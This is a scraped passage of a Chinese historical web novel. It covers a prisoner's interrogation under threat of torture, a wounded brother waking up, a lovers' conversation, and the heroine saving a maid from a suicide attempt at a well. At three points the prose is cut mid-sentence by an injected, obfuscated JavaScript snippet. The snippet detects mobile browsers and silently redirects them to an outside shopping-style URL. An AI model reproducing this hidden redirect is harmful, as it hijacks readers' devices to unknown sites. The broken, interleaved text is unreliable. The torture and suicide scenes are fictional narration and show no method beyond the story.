“……是。” 阿柔一直都知道,这个世界是黑暗的。即便如此,她这辈子也不可能和那些玩弄权术、草菅人命的人共情。 阿柔又问:“熙贵妃也是林予哲安排到陛下身边的?” 谢阳闷声回答:“你们既然什么都猜到了,何必问我。” 戚叶临居高临下地看着他,“可我告诉过你,要想用情报来免于刑罚,前提是你带来的东西有价值。你方才所说也不过是印证了我们先前的猜想,又谈得上什么价值?” “堂堂景西王,难道要出尔反尔吗。”谢阳低声说道。 “看来,你还是没学到教训。”戚叶临一抬手,旁边的地牢守卫便一拥而上,不由分说地便要将谢阳架在刑具上。 谢阳大惊失色,用尽全身力气挣扎着,“我说,我说!” 戚叶临示意守卫停下。 谢阳再一次被重重地摔在地上,整个人如同劫后余生一般大口地喘着粗气,“我可以告诉你,林予哲在朝中的同党都有哪些人。” 戚叶临简直要笑出声了,“朝中党派林立,划分清晰。你不会真以为这种东西也能算得上秘闻吧?” 眼看着周围行刑之人目光不善,似乎随时在等待上刑的机会,谢阳终于豁了出去,迫切地说道:“但你们不知道,你们所有人都被林予哲骗了!” 戚叶临拧起眉头,就连阿柔也收敛住了方才愤懑的情绪,凝神看他。 “说下去。”戚叶临道。 “哈哈,哈哈哈,你们说我是林予哲手底下的一枚棋子,被他玩弄于掌心之间。我要告诉你们,错了,大错特错。” 谢阳嘲讽着说道:“他林予哲不过是个流着羌夷血脉的贱奴才,最初如果不是梁相提拔,他能走到今天这一步?传播疫病、火烧寺庙、散布谣言、进献道士……你们以为,这些计谋,都是他林予哲想出来的?” 戚叶临和阿柔的神情俱是一变。 戚叶临皱眉道:“你是说,林予哲并不是幕后黑手?” “不不,他确实是整件事情最高的主导者。”谢阳说道,“但是,他身边还有一个人为他出谋划策。” 戚叶临面露不耐,“一次性把话说完。” “我们都管他叫小军师,因为他看起来也不过刚刚及冠的年岁。那小子细皮嫩肉的,模样竟比大多数女人还要水灵标致。后来某天,我听到林予哲唤他名姓,这才知道……”谢阳说道,“他叫云洛,是林予哲收养的义子。” 父女二人皆被这意料不到的变故砸得晕头转向。 小军师?云洛?这是何方人也??? 阿柔向戚叶临投去了一个疑惑的眼神,却见他摇了摇头,显然也对目前的情况无所适从。 戚叶临敛去惊诧的神色,冷着声音开口:“我怎么知道你不是在骗我?” “骗你?不,我可没必要编出这么一个故事来。” 戚叶临问:“这个云洛是什么来历?” “这我可就不知道了,谁知道是林予哲从什么地方捡来的。” 戚叶临沉吟片刻,“你还有什么要说的吗?” “……没有了,我能说的都说过了。” 戚叶临转头问一旁记录的文官,“方才他所说的话,都完完整整记下了吧?” 那文官躬身说道:“都已记下了。” 戚叶临站起身来,转身就要带着阿柔往外去。谢阳见状,想要奋力扑撞上来,却被两边的守卫按下。 他看着二人逐渐远去的背影,急切地喊道:“我已经把我知道的全都告诉你了,你该信守承诺了吧?” 戚叶临脚步一顿,回过头去,“承诺?什么承诺?” “你!” “我是说过,你提供的消息可以免除一部分苦难。但……”戚叶临神情幽暗,语调森寒,“你该不会真的以为,这样就能还清你欠下的债了吧?” “不,戚叶临,你不能这样,你不能这样!”谢阳妄图追上去,牢门却已在他眼前无情地关闭。他抓着铁栏杆,凄厉地叫喊着:“你动用私刑,有违大昭律法。圣上本就忌惮你们戚家,别忘了,你的儿子还在京城为质!” 戚叶临乜视而去,冷嘲热讽道:“拜你和林予哲所赐,圣上已是自顾不暇了,又怎么会在意一个犯下谋逆重罪的节度使是怎么死的呢?” “不,不!!!你可是世人称颂的景西王,旁人都说你忠君爱国、公正无私,你不能动用私刑!” 戚叶临只觉得他聒噪,不再理会,带着阿柔大步往地牢出口的亮光而去,独留谢阳喑哑扭曲的叫喊在不见天日的地牢之中久久徘徊。 …… 关于林予哲身边还有一个神秘军师这件事,的确在阿柔的意料之外。但要说这是多么影响占据的一条情报,倒也未必。毕竟将领身边带有军师或幕僚,都是很常见的事。他们所要面临的最主要的敌人仍是林予哲,而不是那所谓的小军师。 但如若林予哲身边当真有这么一号人物,两军交战之时,还是要小心提防着些才好。若是能找到机会将这个智囊一举击破,那是再好不过的一件事。 云洛的存在,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992954|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有必要上报朝廷的。 只是眼下,西北铁骑还属于休整状态。收编归降敌兵,重建西北大营,巩固边境防线,稳定宛阳人心……这些都是刻不容缓的事。况且西北刚历经了一场内战,哈赤努尔不可能放过这么好的机会,必定会趁着西北铁骑元气大伤之时进犯,打他们一个措手不及。 也许今天,也许明天,西北边境必须随时做好应战的准备。虽说攘外必先安内,但戚叶临也不可能放下边陲百姓生死不管。 至于谢阳,戚叶临不打算送回朝廷发落。倒不完全是为了发泄报复,更重要的原因是,西北边境如今分不出人手来押送重犯,距离长祈路途又远,唯恐路上生再出什么变故来。反正他通敌叛国、意图谋反已是板上钉钉的事实,该交代的也都交代了,没有再冒着风险把他送去京城的必要。 戚叶临需要一个可信的人,将谢阳的口供以及西北边境所发生的一切都尽数带回朝廷。这个人必须知根知底,知晓此番动乱的全过程,又懂分寸,知道什么该说,什么不该说。而这个人的离开,又不能对西北边防产生太大的影响。 思来想去,最合适的人选竟只有她的女儿戚雪柔。 …… 接连见证了西北大营所遭遇的一系列变故,以及谢阳和林予哲等人的阴谋之后,阿柔总算迎来了一个好消息——大哥醒了。 得知此事的时候,阿柔正和司言一起,寻访宛阳城中百姓,送些粮草物资补贴,并进行安抚慰问。 待到戚叶临交代的任务完成之时,二人立刻赶回了故渊门据点。 进了门,就看到戚思辰靠坐在床头,正皱着眉头和鸦青说着什么。 鸦青将手中黑乎乎的药碗递了过去,“喝药!” 戚思辰微微偏过头去,眼神往别处瞟。 “我怕不是救了个假的世子爷吧。”鸦青简直要怀疑人生了,恰好此时见到阿柔和司言,顿时如见救星一般喊道,“阿柔,你看你哥,他不喝药!” 戚思辰听到这话,回过头来,顺着鸦青的视线望去,果真见到阿柔来了。 等会儿,阿柔身旁怎么还站了个人?好像有点眼熟…… 戚思辰刚醒来没多久,脑中还有些浑沌,在记忆中费劲搜索了片刻,终于想起来了。 这不就是定州疫病那一次,在营帐里和他妹妹眉来眼去的那个男的吗! 思及此处,戚思辰目光变得不善起来。 司言:怎么感觉不太对劲…… 阿柔对二人间的眼神交锋毫无知觉,坐在床边,看着眼前这个生动而熟悉的大哥,而不是躺在床上死气沉沉的样子,她有一些想哭的冲动,“大哥,你终于醒了,你吓死我了。” 戚思辰没再同司言暗暗较劲,看到幼妹泛红的眼眶,只觉得手足无措,尽力安慰道:“我,我这不是醒了吗,嗯?” 自大哥为他挡下一剑,昏迷不醒的那日起,阿柔每每想起此事,总是愧疚万分。倘若大哥真的有什么三长两短,她恐怕这辈子都不能原谅自己。 阿柔心中一阵阵后怕,“大哥,往后不许再这样冲动了。” “冲动?”戚思辰想了想,明白了她是在说那日挡剑的事。 也许作为将领来说,他为私情而不顾自身安危,的确算得上冲动。若因他自陷险境的举动导致西北大营无人主持,酿成不好的结果,他是无论如何也偿还不起的。 可作为家人,作为长兄…… 戚思辰摇了摇头,低声说道:“那不是冲动。” 那是本能。 阿柔大抵能猜到大哥心里的想法,也不再多说什么,只是微笑着说道:“我知道了。” 戚思辰有些不好意思地收回了视线,“嗯……” “喂……”鸦青终于忍不住了,不由分说地把药碗塞进阿柔的怀里,“阿柔,你快管管你哥,我都把药端来了,他就是不喝。我还有事要忙呢,你想办法给他灌啊。” 一口气说完,鸦青便风风火火地离开了。 若是放在从前,有人要对阿柔说“管管你哥”这种话,阿柔可是万万不敢的。 但现在…… 阿柔露出了然的神情,见大哥不动声色地往床榻里面挪了挪,头也朝着里侧扭,她不禁觉得有些好笑,“大哥,转过来吧,脖子不疼吗?” 戚思辰:“……” 司言在一旁看得津津有味。 阿柔偷偷笑了一下,继而装模作样地道:“大哥,你想想二哥,二哥他……” “你别说了……”戚思辰打断了她将要说的话,依旧倔强地不肯将头转回来,只是伸出一只手接过药碗,将苦涩的汤药一饮而尽。 戚思辰在心里默默道:可恶,被这丫头抓住把柄了,再也不受伤了。 67. 寻迹 趁着阿柔放药碗,背过身去的空挡,戚思辰狠狠地瞪了坐在一旁看乐子的司言一眼,那眼神简直是在说:只许我妹妹笑,你不许笑。 司言连忙正襟危坐。 “嗯?怎么了?”阿柔回过身,看了看自家大哥凶狠的表情,又看了看小心拘谨的司言,以为大哥是不认得他,便说道,“大哥,这是故渊门门主司言,你们先前在定州见过的。” 戚思辰咳了咳,“我认得他是谁,只是故渊门门主,为何会来我西北宛阳?” 阿柔一愣,问道:“还没人同大哥讲过这段时间发生的事吗?” “方才那个叫做鸦青的姑娘讲了,但……”戚思辰回想起鸦青前言不搭后语,又极其浮夸的描述,有些失语,“确实没听懂。” 司言无奈扶额——让这想一出是一出的野丫头来讲,能听懂才是怪事。 阿柔闻言,便将戚思辰昏迷后这几日发生的事情尽数讲了一遍。 戚思辰越听,脸色越是消沉。待阿柔讲完后,沉默良久,说道:“我知道了。” 阿柔隐隐有些担忧,“大哥,你……还好吗?” “那日在西北大营,你冒死将谢阳占领宛阳一事传回来的时候,我就知晓此人定在酝酿着什么阴谋,因此称不上震惊。” 戚思辰停止了话语,微微垂下眼眸,似乎陷入了某种纠结的情绪之中,他独自在心中酝酿了片刻,随即抬起头来,看向阿柔。 阿柔愣住了,因为他从未见过大哥这副模样——一向杀伐果断、冷傲果决的景西世子戚思辰,此时此刻竟也流淌出柔软与脆弱的一面来,他微微皱着眉头,似是在极力克制着内心汹涌的愧疚与难过。 一只粗粝而微微颤抖的手抚上了阿柔的面颊。 戚思辰轻声说道:“阿柔,受苦了。” 阿柔一瞬间红了眼眶。 她从未见过大哥如此感性的时刻。在她眼里,大哥永远是意气风发的天之骄子,是西北边境的守护者,是永远不会倒下的城墙壁垒。 阿柔宁愿大哥向从前那样绷着脸教训她,也不愿在他脸上看到如此愧疚与悲哀的表情。 阿柔强忍着心中酸涩,说道:“说不上受苦,至少我们都还活着。比起牺牲于此的将士们,已是足够幸运。” “待到事了,我会向阿爹提议,为所有牺牲的将士立一块石碑,刻上他们的姓名。”这些牺牲者,不仅是戚思辰的手下,更是与之朝夕相处的战友,戚思辰不能不为之而痛心,“这片土地,应该记得他们的名字。” “阿爹一定也是这样想的。”阿柔说道。 待到情绪稍稍平复下来,戚思辰看向站在一旁默不作声的司言,郑重其事地说道:“西北边境此番劫难,多谢故渊门相助。这份恩情,景西王府日后必当偿还。” 司言连忙说道:“世子爷言重了,司言再怎么说也是大昭的子民。更何况能力越大,责任越大,边境有难,故渊门岂能袖手旁观?” 戚思辰摇了摇头,“西北边防本是西北铁骑的职责,故渊门大义相助,牺牲了不少忠勇义士。这是西北铁骑欠你们的,也是我戚家欠你们的。” “世子爷,这……” “阿言。”戚思辰突然唤他名字,“我可以这样叫你吗?” 司言一愣,继而回答:“当然可以。” “家父和我不常回京,也没有见过你几面,但小弟寄来西北的信件中,偶尔会提及你的名字。”戚思辰说道。 司言一愣,顿时有些不好意思起来。阿柔同样有些惊讶,二哥可从来没有跟她说过这件事。 戚思辰继续说道:“阿言向来聪慧,看人眼光又准。他说你是品行良善、内心赤忱之人,我相信他说的话。所以我也相信,你会待我妹妹好。” 对面二人闻之,脸上都泛起红来。 很显然,戚思辰已经彻底看透了他们之间的关系。这也并不奇怪,早在定州疫病那次,戚思辰就已看出了些许端倪,他自己也是成过家的人,又怎能看不出来这一对年轻男女间的情意涌动? 自家幼妹看这人的眼神,明显和看别的男子是不一样的。 司言躬身行礼,信誓旦旦地说道:“承蒙世子爷和戚二哥抬爱,阿柔是我此生所求,我定当倾尽一切护她爱她。我知阿柔心中丘壑,也知她所选道路与寻常闺阁女子不同。而往后的路,我会陪她一起走。” 司言这一番话,可谓说到了阿柔的心坎上。 这许多年来,阿柔独身一人行于山河之间,为的正是坚守心中之“道”,免于被世俗教化之苦。只是这条道,走的人太少,更为三纲九常所不容,为世道所不容。 阿柔不惧千人嘲笑,也不惧万难阻挠。只是纵观这场漫长的旅途,虽也有倾盖如故的相逢,到底难以一路同行至终。 而今有一人,视她如珍宝,不要她做那笼中雀,偏要她做遨游天际的飞鸟,承诺与她同行,约定相伴厮守。阿柔闻之,如何能不感动? 戚思辰方才说那些话,亦是在考察眼前之人的真心,如今听到了令人满意的答案,面上也露出了淡淡的微笑,“你若当真爱她,便更应该接受我偿还恩情的许诺。” 阿柔原本只当大哥性情执着,有恩必报,但在听完这番话后,突然明白了大哥的良苦用心。 这次西北边境危机化解,司言和故渊门的相助至关重要,景西王府算是欠了司言一个巨大的人情。纵使司言此时出手相救并非贪图戚家的人情,可倘若就这样一直欠着,阿柔在与司言的关系之中就永远处于亏欠与被动的地位。司言日后若是变了心,随时可以用今日之恩情为绳索,捆缚住阿柔的羽翼。 所以,戚思辰许诺司言,往后如有需要,戚家可以为他或故渊门做一件事。只要是戚家力所能及,且对江山社稷无损的,戚家都会尽可能地去做。 这不仅是为了践行有恩必报的原则,也是为了将阿柔和司言摆在平等的位置上。 领悟到这一层,阿柔心中又是感激,又是感动。 而司言向来聪慧敏锐,又能洞察人心,自然也听明白了戚思辰的话外之意,便也不再推拒,“既是如此,就先行谢过世子爷的好意了。” 戚思辰露出了满意的神情,随即说道:“好了,天色也不早了,你们也早些休息吧。” 阿柔和司言二人起身告退。 然而刚走到门口的时候,身后又传来大哥的声音:“慢着。” 二人不解地回头看去。 只见戚思辰目光犀利,幽幽地说道:“成亲之前,不许做太过火的事。” 阿柔:“……” 司言:“……” “不会的啦!大哥你放心!!!” …… 刚从房间出来没多久,就看到鸦青打着哈欠走来,“刚发生什么了,那么大动静?” 阿柔和司言二人对视一眼,都露出了尴尬的表情。 鸦青看看这个,又看看那个,不解地摸了摸头。 “咳咳。”司言若无其事地开口道,“忙完了?” “只能说暂时吧,毕竟伤患那么多,若有什么事,我还得去帮忙。”鸦青立刻把刚刚的疑惑抛到九霄云外去了,倒苦水道,“唉,门主啊,跟你出来这一趟可真遭罪,小命堪忧不说,还有这么多人等着我去救。回去之后,你可得给我加钱。” 司言无奈地道:“放心吧,救人治病的报偿,我何时短过你了?” 鸦青心满意足地道:“哼哼,那就好。” “对了。”司言突然想到什么,“夜兰呢?怎么没见到她?” “嗯?”鸦青有些奇怪地道,“门主不是派夜兰姐姐出去做事了吗?” 司言心下一惊,皱着眉头道:“今日我们在城中寻访安抚百姓,我和阿柔带了一队,夜兰也带了一队。我和阿柔回来之时,天色已是黄昏,后面又和世子爷说了许久的话。再怎么样,夜兰也该回来了吧。” “啊……”鸦青有些想不明白了,“那,那夜兰姐姐去了哪呢?” 阿柔拽了拽司言的袖子,提醒道:“和夜兰同行的都有谁,他们可曾回来了?” 司言沉吟片刻,忽而扫视到不远处的一个人影,招呼他过来,“寒曜!” 寒曜遥遥听到,连忙小跑着过来,直勾勾地看向司言,面带期待,“门主,叫我啥事儿?” “你今日和夜兰一起去走访了百姓,是吗?”司言问道。 “是啊。” “那夜兰人呢?” “夜兰姐出城了啊。”寒曜不解地摸了摸脑袋,“不是门主吩咐夜兰姐联络邻城暗桩,去给京城的叶师兄送信吗?” “胡说,门中本就有专门送信的弟子,用得着夜兰去?这种理由,你也信了?” “啊?”寒曜愣在原地,不知所措,“那……我是被骗了?” 司言无奈扶额,“夜兰走的时候,可有跟你说些什么?” 寒曜仔细想了想,随即一拍脑门道:“哦,夜兰姐说,她在房间里留了一封信,是给门主你的,让我提醒门主去看。” 司言气急,“这种事情你现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008235|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才想起来???” 寒曜有些不好意思,“嘿嘿。” 司言:“……” 是时候该加强门中弟子智力水平的训练了。 阿柔站在一旁,直觉有些不对劲。夜兰并非手无缚鸡之力的弱女子,只是数个时辰未见,还不至于担忧到如此程度。再说,如今城内已经戒严,倘若真的出了什么事,不可能一点动静都没有。 可司言只是没见到夜兰的人,就觉察出这其中有问题。要么是他太过敏锐,要么就是……太过在意? 阿柔猛然意识到,自己这是有些吃味了。 按道理来讲,夜兰本就是司言的得力干将,他多关心几分,也是应该的。正是因为明白这道理,阿柔自己都觉得这股突如其来的醋意有些小家子气。 可她却没法完全不在意。 寒曜还在结结巴巴,不知所措地询问:“那怎么办啊,门主。” 司言叹了一口气,眉宇间染上几分忧色,“让暗桩多多注意从宛阳到河北的线路,一旦发现夜兰的踪迹,立马传信给我。” “是!”寒曜连忙应道。 “河北?”阿柔敏锐地捕捉到了他话中的关键,“为什么是河北?” 河北地区如今已被林予哲攻占,司言为何断言夜兰不告而别,是往河北的方向去? 司言知道阿柔心有疑惑,将鸦青和寒曜打发走后,带着阿柔来到一间单独的房间内。 桌上烛火幽微,二人相对而坐。 阿柔好整以暇地看着他,等待着他口中的答案。 “阿柔,我曾骗你说,我是前连远道节度使萧锐清之子,涉入京中朝局,是为了给父亲洗雪冤屈。” “我记得。”阿柔思绪敏锐,联系到先前的种种疑点,几乎是立刻想到了一个可能性,“难道说,萧将军当年留下来的血脉,其实是夜兰?” 司言点了点头,证实了她的猜想。 果真如此! 阿柔早就想到,司言大抵不会随便寻一个无关之人的事迹来为自己编造身份,而是冒用年龄相仿之人的身世背景。 司言断定夜兰是往河北地区去了,而河北如今是林予哲的地盘,夜兰是冲着谁去的,不言而喻。 如此一来,司言为何对夜兰的动向格外敏锐,也就可以解释了。 “你是担心,夜兰会只身入敌营,去寻林予哲报仇?”阿柔问道。 “是。”司言坦言道,“我当初把她调来宛阳,不仅是因为西北情况有异,还因宛阳位置偏远,去哪里都不方便。” “你为什么认定她会去找林予哲寻仇?再者,倘若真要寻仇,她会怎么做?”阿柔追问。 “萧大人与先父是至交好友,先父身死,萧大人遭到猜忌,被冠以通敌叛国之罪陷害至死。我接手故渊门后没多久,就查到萧大人还有血脉遗落坊间。便计划帮她脱离贱籍,带回故渊门,也算是不负萧大人与先父的道义之交。只是……事情没有我想的那么简单。”司言微微停顿,语气有几分苦涩,“我找到她的时候,她已入了柳叶门。” “柳叶门?”阿柔脸色一变。 柳叶门便是先前司言领命替承王清剿的杀手帮派。如今虽已不复存在,却依然在江湖上恶名远扬。 阿柔本就是半个江湖人,对柳叶门的了解,要比常人更多一些。 柳叶门是专门豢养刺客死士的门派。他们只认金钱,不认人情,若是报偿给得足够,怕是连皇帝都敢杀。 柳叶门不设固定的据点,形踪难觅,寻常只靠密信联系。在司言清剿柳叶门之前,朝廷几次三番想要派人追查帮派恶徒的下落,却都落得个横尸荒野的下场。久而久之,也就无人敢再招惹。 可想而知,这种需要依靠隐瞒行踪来保全自身的帮派,绝不可能容许成员轻易脱离。若是强行逃走,只怕要被帮派里的杀手追杀一辈子。 “我隐去身份接近她,试探了几番,知晓她本是良善之人,受人诱骗威胁才沦落至柳叶门。我费了很大的功夫,把她从柳叶门带了出来。” 司言省去了中间的过程如何艰辛,直说后来发生的事,“一开始,我并不能完全信任她。但来到故渊门后,她表现得一直很平和,为人细心和善,总是不拒绝别人的请求,门中弟子都亲近她、喜欢她。后来某天,我准备尝试着安排她去做一些事。” 司言依旧能记得,当时的夜兰只是听到了“任务”二字,便如应激一般僵在原地,颤抖的声音中带着几分恳求,“门主,除了仇人之外,我再也不想杀任何一个人了。” 68. 拥抱 “我明白了。”阿柔听司言讲完夜兰前半生的遭遇,心里也有些不是滋味,“因这一句话,你猜想夜兰有复仇之意,再加上她是柳叶门出身,本就懂得刺杀之道,所以才一直在暗处关注她的动向,就是怕她一个人去寻仇,因此丢了性命,是吗?” “是啊,想来她是听闻林予哲谋反,占领了河北区域,便想到若是此时能深入敌营,夺了林予哲的性命,一来能报杀父之仇,二来能平谋逆之乱。”司言有些自责地道,“是我失责,明明身在此处,还是没能看住她。” “这不是你的错。夜兰若执意寻仇,你是看不住的。”阿柔宽慰道,“当务之急,还是要确认她的行踪。” “夜兰此行,定会刻意绕开暗桩,再加上她是柳叶门出身,本就比一般人更会隐匿行踪。这一次,倒真不确定能否寻到她。”司言抿着唇,犹犹豫豫地开口,“阿柔,我问你一个问题。” “你说。” “若我寻到了夜兰的行踪,你说……”司言面露纠结之色,“我该阻止她寻仇吗?” 阿柔闻之,认真思索了片刻,随即发觉,自己好像也并不知道准确的答案。她一边想一边说道:“如果有人伤害了我的家人,我一定也会做出和夜兰同样的选择,不惜任何代价也要让背后之人偿命。但我又在想,此时此刻,如果要去寻仇的人是你……对,如果是你因为寻仇而将自己置于险境,我一定会阻止你的。因为,我绝对不想失去你。” 司言一怔,心间涌上暖意,“阿柔……” 阿柔看向她,露出一个鼓励的微笑,“所以,我想这个问题,应该没有准确的答案。若是找到了她,便试着说服她不要一个人行动。现在,征讨林予哲是整个大昭的事,她不必一人独行。况且,你也绝对不想失去夜兰这样一个朋友,对吗?” 司言忽而有茅塞顿开之感,恍然道:“你说得对,我并不一定非要阻止她,而是劝她用一种更为稳妥的方式。” “这就对了。”阿柔笑道,“总而言之,不论最终结果如何,都是夜兰自己的选择。阿言,你总是因别人的事将自己逼得太紧。” 司言自己都未察觉这一点,听她如此说,还有些怔愣,细细想来,又发觉的确如此。他失笑道:“是啊。” “你已经在派人去寻她的踪迹了,不是吗?既是如此,你便已做了你身为故渊门门主能做的事,不必过分苛责自身。”阿柔开解道。 司言点了点头,看向阿柔的眼神更炙热了几分,“阿柔,有你在我身边,真好。” 阿柔被他灼热的眼神看得有些不自在,赶紧说道:“好了,天色这样晚了,该歇息了吧。” 司言面上带着笑意,“嗯,我送你回王府。” 阿柔正打算说“好”,突然又起了几分逗弄的心思,说道:“回王府?可是今夜,我想留在这里。” 话音刚落,司言便愣在原地,“啊?” 阿柔挪了挪身下的蒲团,坐在他的身旁,拉住他的手,“你不愿意?” 司言的脸瞬时红了一片,前言不搭后语地道:“不,不,不是,不是不愿意,但我,那个,我……” “没有不愿意,那是因为什么?”阿柔又凑近几分,盯着他的脸,“是担心传出去,有损声名?” “我不是担心我的声名,是担心你!”司言连忙说道,“这种事向来对男子没什么影响,对女儿家的影响就大了。我知道你做事随着心意,不在乎旁人怎么说,可我不想让你受到任何非议。” “这种事?”阿柔故作不解,“这种事是哪种事?我只说要留在这,没说要与你同处一室呀。” 司言一时语塞,看到阿柔努力憋笑的表情,后知后觉地意识到阿柔是在跟他开玩笑,忍俊不禁道:“别闹了。” 阿柔笑出声来。 “自己也爱害羞,怎么总逗别人?”司言无奈地道。 “这一点,咱们两个彼此彼此,你可没资格说我。”阿柔撇了撇嘴。 “好好好。”司言温声说道,“那你想好了吗,今夜宿在何处?” “还是回王府吧。”阿柔说道,“若我晚上不回家,你信不信你这据点明天就被我爹拆了?” 司言想象不来那个画面,有些好笑地道:“听起来有点吓人。” “哈哈,逗你的,我爹现在哪有这个功夫做这些?”阿柔眯着眼笑了起来,“不过确实,有的事只有成亲以后才能做。所以……” 司言耳根有些泛红,声音干涩,“所以?” “果然还是应该早些成亲。”阿柔凑到他的身边,在他脸颊上飞快地亲了一下。 …… 夜晚,宛阳景西王府。 最近这几日城内事务繁忙,一个人巴不得拆成两个人用。阿柔回到王府,后知后觉地感到了疲累,不由得加快了步伐,想要早些沐浴休息。 路过一片树林时,阿柔突然听得其中隐隐传来女人压抑的哭声。 先前那几分瞌睡立刻烟消云散,阿柔一下子清醒了过来。她不信鬼神,但夜半时分漆黑一片,静谧无人,却有女人的哭声,总归瘆人。 阿柔循着声音找去,想看看到底发生了什么。 她手上没有提灯,林间视野又差,只能小心翼翼地向前摸索。 那哭声越来越清晰,阿柔心中沉重了几分,加快了前行的速度。不多时,她终于穿过树林,来到一处平地。 只见眼前平地上有一口枯井,井边落满了尘土与树叶。一个约莫十六七岁的少女站在枯井前,满面泪痕,眼中失去了光彩,仿佛一具被人抽干了灵气的行尸走肉一般,了无生意。 少女向前迈步,只差一点就要掉进枯井中。 “等一下!”阿柔一片惊骇,心都提到了嗓子眼上。 少女似是被吓了一跳,顿时脚下一软,身形摇晃。 阿柔见她这么一晃,吓得不敢再出声惊扰,试探着向前靠近,“姑娘,有什么我能帮你的吗?” “你别过来!”少女见她靠近,惊慌地喊道。 阿柔立刻止了脚步,不敢再刺激她。只能不动声色地使用内力——若眼前之人有任何轻生的举动,阿柔可以在一瞬间冲上前去将人救下。 阿柔并不常回宛阳景西王府,并不认得这少女。见她打扮,应当是府上侍女。再联想到近几日发生的事情,以及慧芳曾对她说的话…… 不难想象,这少女应当是在谢阳那里受了屈辱,所以才想不开,要来投井。 阿柔注意到她发上别着莲花模样的头饰,试探着叫道:“莲儿?” 那少女一愣,“你,你是谁?你知道我的名字?” 阿柔知道自己这是猜中了。 莲儿自入王府做事起,就没见过这个传说中游历在外,不常回家的戚三娘子。因此在刚见到阿柔的时候,并未认出是谁,但见其一介女子,身着圆领袍,一副英姿飒爽的模样,便知她身世不凡,大抵也能猜出身份来了。 “三娘子,为何会知道我的名字?”莲儿哽咽着道。 阿柔不敢同她说实话,真假掺半地说道:“芳姨和我说过,府上有个叫做莲儿的丫头,长得漂亮,心思又细,她喜欢得紧。我见你头上别着莲花,想来应当就是莲儿了。” “芳姨,芳姨……”莲儿想起这个慈爱的仆妇,心中又是感动,又是愧疚,她红着眼睛道,“劳烦三娘子帮我转告芳姨,她待莲儿很好,是莲儿辜负了她……” “等一下,莲儿!”阿柔不敢刺激她,只能小心翼翼地劝解,“你先到我这边来,好吗?有什么困难,我可以帮你,我们一起解决。” 莲儿流着泪,不住地摇头,“三娘子,你的好意,莲儿心领了。但是……但是莲儿这一生,已是死局了。” “不,不是的。什么死局,为什么会是死局?”阿柔逼迫自己冷静下来,“莲儿,你先到我这边来好不好,事情远没有到那个地步。” 可是莲儿已经什么都听不进去了,她的状态看起来相当不好,身形不住地颤抖着,目光也混沌涣散。 她强撑着说道:“王府待莲儿很好,若有来生,莲儿再来侍奉。” 阿柔瞳孔皱缩,心神俱颤。 下一秒,莲儿向前一迈,跌入枯井之中! 几乎是同一瞬间,阿柔以平生最快的速度向前冲刺而去,犹如闪现一般,奋力伸出右手,堪堪抓住了莲儿的一只手腕。 莲儿一心寻死,没想到会有人抓住她,试图挣扎脱离。 几次三番挣扎无果之后,阿柔似是被消磨尽了耐心,在井口吼了一声,“别乱动!” 莲儿懵了,挣扎的动作也停了一瞬。 阿柔便趁此空当,将左手也伸了下去,双手合力,将莲儿拉了上来。 二人瘫坐在井边喘着粗气。 莲儿哭得梨花带雨,痛不欲生,“三娘子何苦来管我这桩闲事?你救了我,无非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025183|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是让这世上多了一个痛苦的人罢了。” “也许就像你说的,是我多管闲事。”月色之下,阿柔的面庞显得有些苍白脆弱,“但要让我眼睁睁地看着一个鲜活的生命在我眼前逝去……对不起莲儿,我做不到。” “三娘子……” “呃……”阿柔唇齿间泄出一声隐忍的痛呼,莲儿这才发现,她的面上渗着冷汗,左肩下的衣料渗出殷红的血来。 莲儿只是一个在府上做事的丫头,没见过这样的场面,立时慌了神,“三娘子!” “无妨,扯到伤口而已,不碍事。”这倒不是宽慰之辞,这些日子发生的事情太多了,受的伤也不在少数。如今只是稍微牵扯了一下,确实算不得什么。 莲儿见她面色不好,又流了血,手足无措地不知道该怎么办才好。 “没事的,回去再包扎一下就好了。”阿柔放缓了语气,“当然,如果你还要再跳一次,我伤得可能就不止这么轻了。” …… 莲儿终究还是没有再跳第二次。 也许是出于愧疚,也许是知道阿柔无论如何都会阻止她。总而言之,她总算暂时放下了寻死的打算。 房间里,阿柔坐在床榻上,将衣物解开,露出肩下的伤口来。 莲儿拿来了伤药和绷带,却不知道应该怎么做,怯生生地道:“三娘子,要不然,我还是去喊个大夫来吧。” “不必。”阿柔接过药物,娴熟地将原来那层染血的绷带解下来,忍着痛将伤口稍稍清理了一番,撒上伤药,重新包扎起来。 莲儿坐在一旁,目瞪口呆地看着,心里感到又害怕又惊奇。她看到阿柔身上不止这一处伤口,而是有许多或深或浅、或新或旧的伤痕,不由得问道:“三娘子,这些伤……” 